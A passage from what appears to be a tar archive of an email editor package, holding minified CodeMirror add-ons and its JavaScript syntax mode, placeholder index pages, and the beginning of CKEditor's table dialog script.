c=e(s),y=c&&t(s.line,s.ch),h=c&&o(s);if(c&&h&&!(v(s,r)>0))return(l={from:t(s.line,s.ch),to:y,tag:h[2]},c=="selfClose")?{open:l,close:null,at:"open"}:h[1]?{open:a(s,h[2]),close:l,at:"close"}:(s=new i(n,y.line,y.ch,u),{open:l,close:f(s,h[2]),at:"open"})}};n.findEnclosingTag=function(n,t,r){for(var s=new i(n,t.line,t.ch,r),u,o,e;;){if(u=a(s),!u)break;if(o=new i(n,t.line,t.ch,r),e=f(o,u.tag),e)return{open:u,close:e}}};n.scanForClosingTag=function(n,t,r,u){var e=new i(n,t.line,t.ch,u?{from:0,to:u}:null);return f(e,r)}}),function(){CodeMirror.defineExtension("autoFormatAll",function(n,t){function v(){h+="\n";f=!0;++a}for(var i,r=this,u=r.getMode(),o=r.getRange(n,t).split("\n"),s=CodeMirror.copyState(u,r.getTokenAt(n).state),y=r.getOption("tabSize"),h="",a=0,f=n.ch==0,e=0;e<o.length;++e){for(i=new CodeMirror.StringStream(o[e],y);!i.eol();){var c=CodeMirror.innerMode(u,s),p=u.token(i,s),l=i.current();i.start=i.pos;(!f||/\S/.test(l))&&(h+=l,f=!1);!f&&c.mode.newlineAfterToken&&c.mode.newlineAfterToken(p,l,i.string.slice(i.pos)||o[e+1]||"",c.state)&&v()}!i.pos&&u.blankLine&&u.blankLine(s);!f&&e<o.length-1&&v()}r.operation(function(){r.replaceRange(h,n,t);for(var i=n.line+1,u=n.line+a;i<=u;++i)r.indentLine(i,"smart");r.setCursor({line:0,ch:0})})})}(),function(){function n(n){for(var i,t,f=[/for\s*?\((.*?)\)/g,/&#?[a-z0-9]+;[\s\S]/g,/\"(.*?)((\")|$)/g,/\/\*(.*?)(\*\/|$)/g,/^\/\/.*/g],r=[],u=0;u<f.length;u++)for(i=0;i<n.length;)if(t=n.substr(i).match(f[u]),t!=null)r.push({start:i+t.index,end:i+t.index+t[0].length}),i+=t.index+Math.max(1,t[0].length);else break;return r.sort(function(n,t){return n.start-t.start}),r}CodeMirror.extendMode("css",{commentStart:"/*",commentEnd:"*/",newlineAfterToken:function(n,t){return/^[;{}]$/.test(t)}});CodeMirror.extendMode("javascript",{commentStart:"/*",commentEnd:"*/",wordWrapChars:[";","\\{","\\}"],autoFormatLineBreaks:function(t){var r=0,e=this.jsonMode?function(n){return n.replace(/([,{])/g,"$1\n").replace(/}/g,"\n}")}:function(n){return n.replace(/(;|\{|\})([^\r\n;])/g,"$1\n$2")},u=n(t),f="",i;if(u!=null){for(i=0;i<u.length;i++)u[i].start>r&&(f+=e(t.substring(r,u[i].start)),r=u[i].start),u[i].start<=r&&u[i].end>=r&&(f+=t.substring(r,u[i].end),r=u[i].end);r<t.length&&(f+=e(t.substr(r)))}else f=e(t);return f.replace(/^\n*|\n*$/,"")}});CodeMirror.extendMode("xml",{commentStart:"<!--",commentEnd:"-->",noBreak:!1,noBreakEmpty:null,tagType:"",tagName:"",isXML:!1,newlineAfterToken:function(n,t,i){var o="a|b|bdi|bdo|big|center|cite|del|em|font|i|img|ins|s|small|span|strike|strong|sub|sup|u",e="label|li|option|textarea|title|"+o,f=!1,r=null,u="",s;if(this.isXML=this.configuration=="xml"?!0:!1,n=="comment"||/<!--/.test(i))return!1;if(n=="tag"){if(t.indexOf("<")==0&&!t.indexOf("<\/")==0&&(this.tagType="open",r=t.match(/^<\s*?([\w]+?)$/i),this.tagName=r!=null?r[1]:"",u=this.tagName.toLowerCase(),("|"+e+"|").indexOf("|"+u+"|")!=-1&&(this.noBreak=!0)),t.indexOf(">")==0&&this.tagType=="open")return(this.tagType="",s=this.isXML?"[^<]*?":"",RegExp("^"+s+"<\/s*?"+this.tagName+"s*?>","i").test(i))?(this.noBreak=!1,this.isXML||(this.tagName=""),!1):(f=this.noBreak,this.noBreak=!1,f?!1:!0);if(t.indexOf("<\/")==0&&(this.tagType="close",r=t.match(/^<\/\s*?([\w]+?)$/i),r!=null&&(u=r[1].toLowerCase()),("|"+o+"|").indexOf("|"+u+"|")!=-1&&(this.noBreak=!0)),t.indexOf(">")==0&&this.tagType=="close")return(this.tagType="",i.indexOf("<")==0&&(r=i.match(/^<\/?\s*?([\w]+?)(\s|>)/i),u=r!=null?r[1].toLowerCase():"",("|"+e+"|").indexOf("|"+u+"|")==-1))?(this.noBreak=!1,!0):(f=this.noBreak,this.noBreak=!1,f?!1:!0)}return i.indexOf("<")==0?(this.noBreak=!1,this.isXML&&this.tagName!="")?(this.tagName="",!1):(r=i.match(/^<\/?\s*?([\w]+?)(\s|>)/i),u=r!=null?r[1].toLowerCase():"",("|"+e+"|").indexOf("|"+u+"|")!=-1?!1:!0):!1}});CodeMirror.defineExtension("commentRange",function(n,t,i){var r=this,u=CodeMirror.innerMode(r.getMode(),r.getTokenAt(t).state).mode;r.operation(function(){if(n)r.replaceRange(u.commentEnd,i),r.replaceRange(u.commentStart,t),t.line==i.line&&t.ch==i.ch&&r.setCursor(t.line,t.ch+u.commentStart.length);else{var f=r.getRange(t,i),e=f.indexOf(u.commentStart),o=f.lastIndexOf(u.commentEnd);e>-1&&o>-1&&o>e&&(f=f.substr(0,e)+f.substring(e+u.commentStart.length,o)+f.substr(o+u.commentEnd.length));r.replaceRange(f,t,i)}})});CodeMirror.defineExtension("autoIndentRange",function(n,t){var i=this;this.operation(function(){for(var r=n.line;r<=t.line;r++)i.indentLine(r,"smart")})});CodeMirror.defineExtension("autoFormatRange",function(n,t){function v(){h+="\n";f=!0;++a}for(var r,i=this,u=i.getMode(),o=i.getRange(n,t).split("\n"),s=CodeMirror.copyState(u,i.getTokenAt(n).state),y=i.getOption("tabSize"),h="",a=0,f=n.ch==0,e=0;e<o.length;++e){for(r=new CodeMirror.StringStream(o[e],y);!r.eol();){var c=CodeMirror.innerMode(u,s),p=u.token(r,s),l=r.current();r.start=r.pos;(!f||/\S/.test(l))&&(h+=l,f=!1);!f&&c.mode.newlineAfterToken&&c.mode.newlineAfterToken(p,l,r.string.slice(r.pos)||o[e+1]||"",c.state)&&v()}!r.pos&&u.blankLine&&u.blankLine(s);!f&&e<o.length-1&&v()}i.operation(function(){i.replaceRange(h,n,t);for(var r=n.line+1,u=n.line+a;r<=u;++r)i.indentLine(r,"smart");i.setSelection(n,i.getCursor(!1))})})}(),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function r(n){for(var r=0;r<n.state.activeLines.length;r++)n.removeLineClass(n.state.activeLines[r],"wrap",t),n.removeLineClass(n.state.activeLines[r],"background",i)}function e(n,t){if(n.length!=t.length)return!1;for(var i=0;i<n.length;i++)if(n[i]!=t[i])return!1;return!0}function u(n,u){for(var s,h,f=[],o=0;o<u.length;o++)(s=u[o],s.empty())&&(h=n.getLineHandleVisualStart(s.head.line),f[f.length-1]!=h&&f.push(h));e(n.state.activeLines,f)||n.operation(function(){r(n);for(var u=0;u<f.length;u++)n.addLineClass(f[u],"wrap",t),n.addLineClass(f[u],"background",i);n.state.activeLines=f})}function f(n,t){u(n,t.ranges)}var t="CodeMirror-activeline",i="CodeMirror-activeline-background";n.defineOption("styleActiveLine",!1,function(t,i,e){var o=e&&e!=n.Init;if(i&&!o){t.state.activeLines=[];u(t,t.listSelections());t.on("beforeSelectionChange",f)}else!i&&o&&(t.off("beforeSelectionChange",f),r(t),delete t.state.activeLines)})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function s(n){typeof n=="object"&&(this.minChars=n.minChars,this.style=n.style,this.showToken=n.showToken,this.delay=n.delay,this.wordsOnly=n.wordsOnly);this.style==null&&(this.style=f);this.minChars==null&&(this.minChars=u);this.delay==null&&(this.delay=e);this.wordsOnly==null&&(this.wordsOnly=o);this.overlay=this.timeout=null}function t(n){var t=n.state.matchHighlighter;clearTimeout(t.timeout);t.timeout=setTimeout(function(){i(n)},t.delay)}function i(n){n.operation(function(){var t=n.state.matchHighlighter,e,o,c;if(t.overlay&&(n.removeOverlay(t.overlay),t.overlay=null),!n.somethingSelected()&&t.showToken){for(var s=t.showToken===!0?/[\w$]/:t.showToken,l=n.getCursor(),f=n.getLine(l.line),i=l.ch,u=i;i&&s.test(f.charAt(i-1));)--i;while(u<f.length&&s.test(f.charAt(u)))++u;i<u&&n.addOverlay(t.overlay=r(f.slice(i,u),s,t.style));return}(e=n.getCursor("from"),o=n.getCursor("to"),e.line==o.line)&&(!t.wordsOnly||h(n,e,o))&&(c=n.getRange(e,o).replace(/^\s+|\s+$/g,""),c.length>=t.minChars&&n.addOverlay(t.overlay=r(c,!1,t.style)))})}function h(n,t,i){var f=n.getRange(t,i),r,u;return f.match(/^\w+$/)!==null?t.ch>0&&(r={line:t.line,ch:t.ch-1},u=n.getRange(r,t),u.match(/\W/)===null)?!1:i.ch<n.getLine(t.line).length&&(r={line:i.line,ch:i.ch+1},u=n.getRange(i,r),u.match(/\W/)===null)?!1:!0:!1}function c(n,t){return(!n.start||!t.test(n.string.charAt(n.start-1)))&&(n.pos==n.string.length||!t.test(n.string.charAt(n.pos)))}function r(n,t,i){return{token:function(r){if(r.match(n)&&(!t||c(r,t)))return i;r.next();r.skipTo(n.charAt(0))||r.skipToEnd()}}}var u=2,f="matchhighlight",e=100,o=!1;n.defineOption("highlightSelectionMatches",!1,function(r,u,f){if(f&&f!=n.Init){var e=r.state.matchHighlighter.overlay;e&&r.removeOverlay(e);clearTimeout(r.state.matchHighlighter.timeout);r.state.matchHighlighter=null;r.off("cursorActivity",t)}if(u){r.state.matchHighlighter=new s(u);i(r);r.on("cursorActivity",t)}})})                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.javascript.min.js        0000705                 00000034311 15242051521 0026603 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});                                                                                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/table/index.html                                       0000705                 00000000054 15242051521 0020526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/table/dialogs/index.html                               0000705                 00000000054 15242051521 0022150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/table/dialogs/table.js                                 0000705                 00000021124 15242051521 0021601 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){function r(a){for(var e=0,l=0,k=0,m,g=a.$.rows.length;k<g;k++){m=a.$.rows[k];for(var d=e=0,c,b=m.cells.length;d<b;d++)c=m.cells[d],e+=c.colSpan;e>l&&(l=e)}return l}function o(a){return function(){var e=this.getValue(),e=!!(CKEDITOR.dialog.validate.integer()(e)&&0<e);e||(alert(a),this.select());return e}}function n(a,e){var l=function(g){return new CKEDITOR.dom.element(g,a.document)},n=a.editable(),m=a.plugins.dialogadvtab;return{title:a.lang.table.title,minWidth:310,minHeight:CKEDITOR.env.ie?
310:280,onLoad:function(){var g=this,a=g.getContentElement("advanced","advStyles");if(a)a.on("change",function(){var a=this.getStyle("width",""),b=g.getContentElement("info","txtWidth");b&&b.setValue(a,!0);a=this.getStyle("height","");(b=g.getContentElement("info","txtHeight"))&&b.setValue(a,!0)})},onShow:function(){var g=a.getSelection(),d=g.getRanges(),c,b=this.getContentElement("info","txtRows"),h=this.getContentElement("info","txtCols"),p=this.getContentElement("info","txtWidth"),f=this.getContentElement("info",
"txtHeight");"tableProperties"==e&&((g=g.getSelectedElement())&&g.is("table")?c=g:0<d.length&&(CKEDITOR.env.webkit&&d[0].shrink(CKEDITOR.NODE_ELEMENT),c=a.elementPath(d[0].getCommonAncestor(!0)).contains("table",1)),this._.selectedElement=c);c?(this.setupContent(c),b&&b.disable(),h&&h.disable()):(b&&b.enable(),h&&h.enable());p&&p.onChange();f&&f.onChange()},onOk:function(){var g=a.getSelection(),d=this._.selectedElement&&g.createBookmarks(),c=this._.selectedElement||l("table"),b={};this.commitContent(b,
c);if(b.info){b=b.info;if(!this._.selectedElement)for(var h=c.append(l("tbody")),e=parseInt(b.txtRows,10)||0,f=parseInt(b.txtCols,10)||0,i=0;i<e;i++)for(var j=h.append(l("tr")),k=0;k<f;k++)j.append(l("td")).appendBogus();e=b.selHeaders;if(!c.$.tHead&&("row"==e||"both"==e)){j=new CKEDITOR.dom.element(c.$.createTHead());h=c.getElementsByTag("tbody").getItem(0);h=h.getElementsByTag("tr").getItem(0);for(i=0;i<h.getChildCount();i++)f=h.getChild(i),f.type==CKEDITOR.NODE_ELEMENT&&!f.data("cke-bookmark")&&
